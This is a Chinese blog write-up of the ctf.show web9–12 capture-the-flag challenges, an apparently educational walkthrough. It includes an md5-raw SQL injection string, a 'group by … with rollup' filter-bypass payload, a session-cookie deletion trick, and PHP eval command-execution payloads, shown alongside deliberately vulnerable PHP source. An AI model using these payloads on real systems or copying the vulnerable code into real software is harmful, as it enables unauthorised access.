

# ctf.show web 9-12 writeup

原创

Skly 于 2021-02-17 23:49:45 发布 278 收藏 3

分类专栏: [CTF刷题记录](#) 文章标签: [web 安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/RABCDXB/article/details/113838227>

版权



[CTF刷题记录](#) 专栏收录该内容

143 篇文章 3 订阅

订阅专栏

## ctf.show web 9-12 writeup

目录

[web9](#)

[解题过程](#)

[web10](#)

[解题过程](#)

[防护一:](#)

[防护二:](#)

[防护三:](#)

[两个小知识:](#)

[group by](#)

[with rollup](#)

[web11](#)

[解题过程](#)

[删除session中的password](#)

[web12](#)

[解题过程](#)

---

[web9](#)

题目：ctf.show平台上的

## ctf.show\_web9

---

### 管理员认证

用户名:

密 码:

<https://blog.csdn.net/RABCDXB>

### 解题过程

打开是个登录界面，没什么头绪

## ctf.show\_web9

---

### 管理员认证

用户名:

密 码:

<https://blog.csdn.net/RABCDXB>

在index.phps中，源码泄露

```
<?php
    $flag="";
    $password=$_POST['password'];
    if(strlen($password)>10){
        die("password error");
    }
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    $result=mysqli_query($con,$sql);
    if(mysqli_num_rows($result)>0){
        while($row=mysqli_fetch_assoc($result)){
            echo "登陆成功<br>";
            echo $flag;
        }
    }
    ?>
```

看到md5(\$password,true),想起了之前做的一道题目，也是这个知识点。

将password的值定为ffifdyop，登录，得到flag.

登陆成功

ctfshow{6cc2a65b-ab96-4bf7-84f7-3d2981caffd3}

原因如下：

```
content: ffifdyop  
hex: 276f722736c95d99e921722cf9ed621c  
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c  
string: 'or'6]!r,b
```

在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的，比如password='xxx' or '1xxxxxxx'，那么就相当于password='xxx' or 1，也就相当于password='xxx' or true，所以返回值就是true。当然在我后来测试中发现，不只是1开头，只要是数字开头都是可以的。

ffifdyop的原始二进制字段中含有'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c，恰构成了SQL注入漏洞，password='xxx' or 1，那么返回值也是true。（xxx指代任意字符）

[详细解释传送门](#)

## web10

题目：

Challenge

262 Solves



# web10

## 4

### Instance Info

Remaining Time: 1553s

Lan Domain: 3330-32aeb8f-47f8-4893-8cf5-  
eb48fbacc0ab

http://32aeb8f-47f8-4893-8cf5-  
eb48fbacc0ab.chall.ctf.show:8080/

Destroy this instance

Renew this instance

Unlock Hint for 2 points

<https://blog.csdn.net/RABCDXB>

## 解题过程

打开题目

### ctf.show\_web10

#### 管理员认证

用户名:

密码:

<https://blog.csdn.net/RABCDXB>

类似于刚才的题目，继续探查一下index.phps,源码泄露，如下

```

<?php
    $flag="";
    function replaceSpecialChar($strParam){
        $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
        return preg_replace($regex, "", $strParam);
    }
    if (!$con)
    {
        die('Could not connect: ' . mysqli_error());
    }
    if(strlen($username)!=strlen(replaceSpecialChar($username))){
        die("sql inject error");
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    $sql="select * from user where username = '$username'";
    $result=mysqli_query($con,$sql);
    if(mysqli_num_rows($result)>0){
        while($row=mysqli_fetch_assoc($result)){
            if($password==$row['password']){
                echo "登陆成功<br>";
                echo $flag;
            }
        }
    }
}
?>

```

防护一：

我们可以看到，过滤了相当多的关键字符，但是因为替换的是空，所以当时想的是还能够双写绕过

```

function replaceSpecialChar($strParam){
    $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
    return preg_replace($regex, "", $strParam);
}

```

php使用replaceSpecialChar一次性替换所有指定字符文本，下面网上的实例

```

<?php
$info1 = '1221231331341';
function replaceSpecialChar($strParam){
    $regex = '/1|2/';
    //要替换多个文本字母就加上'|' 符号
    return preg_replace($regex, '*', $strParam);
}
$info1 = replaceSpecialChar($info1);
echo $info1;
?>

//结果: *****3*33*34*

```

防护二：

但是，这段代码直接阻断了双写绕过，如果双写的话，字符串中关键词会被替换为空，这样的话替换前后的字符串长度不同。不太行。。。

```
if(strlen($username)!=strlen(replaceSpecialChar($username))){
    die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
    die("sql inject error");
}
```

防护三：

```
if($password==$row['password'])
{
    echo "登陆成功<br>";
    echo $flag;
}
```

两个小知识：

创建一个名为users的表，里面有如下数据

+ 选项				id	user	pass	connect
<input type="checkbox"/>	 编辑	 复制	 删除	1	1	1	users
<input type="checkbox"/>	 编辑	 复制	 删除	2	2	1	users
<input type="checkbox"/>	 编辑	 复制	 删除	3	3	1	1

group by

sql语句： **select id from users;**

+ 选项				id
<input type="checkbox"/>	 编辑	 复制	 删除	1
<input type="checkbox"/>	 编辑	 复制	 删除	2
<input type="checkbox"/>	 编辑	 复制	 删除	3

sql语句： **select id,count(\*) from users group by id;**

```
select id,count(*) from users group by id
```

显示全部 | 行数: 25 | 过滤行: 在表中搜索 | 按索引排序:

+ 选项

	id	count(*)
<input type="checkbox"/> 编辑 复制 删除	1	1
<input type="checkbox"/> 编辑 复制 删除	2	1
<input type="checkbox"/> 编辑 复制 删除	3	1

<https://blog.csdn.net/RABCDXB>

## with rollup

sql语句: `select id,count(*) form users group by id with rollup;`

```
select id,count(*) from users group by id with rollup
```

显示全部 | 行数: 25 | 过滤行: 在表中搜索 | 按

+ 选项

	id	count(*)
<input type="checkbox"/> 编辑 复制 删除	1	1
<input type="checkbox"/> 编辑 复制 删除	2	1
<input type="checkbox"/> 编辑 复制 删除	3	1
<input type="checkbox"/> 编辑 复制 删除	NULL	3

<https://blog.csdn.net/RABCDXB>

我们看到增加了一列，其中id为NULL,count(\*)为统计和。

因为增加的一列id为NULL，同时我们可以对应到绕过防护三，同时没有与防护一和防护二矛盾，我们传入password为空，这样的话空==空，`$password==$row['password']`成立！

payload:

```
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
```

登陆成功

```
ctfshow{989bbab9-e5d2-4ed5-a95c-80364eb11031}
```

## web11

题目:

# web11

## 4

### Instance Info

Remaining Time: 3579s  
 Lan Domain: 3330-57dd0461-8d7b-48ac-9240-4364aab4f400  
 http://57dd0461-8d7b-48ac-9240-4364aab4f400.chall.ctf.show:8080/

[Destroy this instance](#)
[Renew this instance](#)
<https://blog.csdn.net/RABCDXB>

## 解题过程

打开题目后

## ctf.show\_web11

### 管理员认证

密码:

```
<?php
```

```
function replaceSpecialChar($strParam){
    $regex = "/(select|from|where|join|sleep|and|\\s|union|,)/i";
    return preg_replace($regex, "", $strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
    die("sql inject error");
}
if($password==$_SESSION['password']){
    echo $flag;
}else{
    echo "error";
}
}
```

```
?>
```

<https://blog.csdn.net/RABCDXB>

我们看到有两层防护

防护一，过滤了多个关键，如果有关键字出现会进行用空替换，并且替换前后字符串长度不同会导致错误；

防护二，传入的\$password需要和session中的password相同。

因为session中的password在存储在本地，我们可以对它进行删除，这样我们传入空，空=空，即可绕过。

## 删除session中的password

火狐浏览器如下

The screenshot shows the Firefox browser's Cookie manager. The address bar displays the URL: http://57dd0461-8d7b-48ac-9240-4364aab4f400.chall.ctf.show:8080. The Cookie manager is open, showing a list of cookies. The 'PHPSESS...' cookie is selected, and the context menu is open, showing options like '添加项目', '删除', '删除所有来自...', and '全部删除'.

名称	值	Domain	Path	Expires / Max-Age	大小	HttpOnly	Secure	SameSite	最后访问
PHPSESS...	4f50cba9cfec71738ac703...	57dd0461-...	/	会话	41	false	false	None	Wed, 17 Feb 2021...
UM_disti...	17761c63				4	false	false	None	Wed, 17 Feb 2021...

<https://blog.csdn.net/RABCDXB>



再将password输入框中字符清空，登录，即可得到flag

## 管理员认证结果

ctfshow{2144ac7b-154e-4fec-aa8b-a559fcbdbcad}

## web12

Challenge 282 Solves ×

# web12

## 4

### Instance Info

Remaining Time: 3584s

Lan Domain: 3330-0ea25221-5bd4-42dd-b8a0-f9cdd93d3d9f

http://0ea25221-5bd4-42dd-b8a0-f9cdd93d3d9f.chall.ctf.show:8080/

[Destroy this instance](#) [Renew this instance](#)

<https://blog.csdn.net/RABCDXB>

## 解题过程

打开题目后

# ctf.show\_web12

where is the flag?

在f12中发现

```
<!--hit:?cmd=-->
```

猜测是命令执行漏洞

首先高亮显示源码，成功！

```
?cmd=highlight_file('index.php');
```

```
<?php
error_reporting(0);
?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_web12</title>
</head>
<body>
<center>
<h2>ctf.show_web12</h2>
<h4>where is the flag?</h4>
<!-- hit:?cmd= -->
<?php
$cmd=$_GET['cmd'];
eval($cmd);

?>

</body>
</html>
```

<https://blog.csdn.net/RABCDXB>

接下来找flag文件

**print\_r()** 函数用于打印变量，以更容易理解的形式展示。

### PHP glob() 函数

定义和用法

glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。

该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。

借一下菜鸟教程的例子：

## 实例 1

```
<?php
print_r(glob("*.txt"));
?>
```

上面的代码将输出:

```
Array
(
    [0] => target.txt
    [1] => source.txt
    [2] => test.txt
    [3] => test2.txt
)
```

## 实例 2

```
<?php
print_r(glob("*.*"));
?>
```

上面的代码将输出:

```
Array
(
    [0] => contacts.csv
    [1] => default.php
    [2] => target.txt
    [3] => source.txt
    [4] => tem1.tmp
    [5] => test.htm
    [6] => test.ini
    [7] => test.php
    [8] => test.txt
    [9] => test2.txt
)
```

<https://blog.csdn.net/RABCDXB>

```
?cmd=print_r(glob("*.*"));
```

**where is the flag?**

```
Array ( [0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php [1] => index.php )
```

flag应该在名字比较长的文件中

```
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
```

## ctf.show\_web12

**where is the flag?**

```
<?php
```

```
$flag="ctfshow{caebd355-6430-470b-bc2a-ab69efd4c19d}";
```

```
?>
```

<https://blog.csdn.net/RABCDXB>

总结:

1.源码泄露: `index.phps`,之前碰到比较多的是`index.php.bak`,`www.zip`等。

2.`group by` 和 `with rollup` 的联合操作。

3.`glob()`函数, 查看文件或目录。

因为`buu`平台炸了来`ctfshow`刷题, 学到了好多,感谢`ctfshow`。

菜鸡的进阶之路遥远且艰难, 冲呀!!!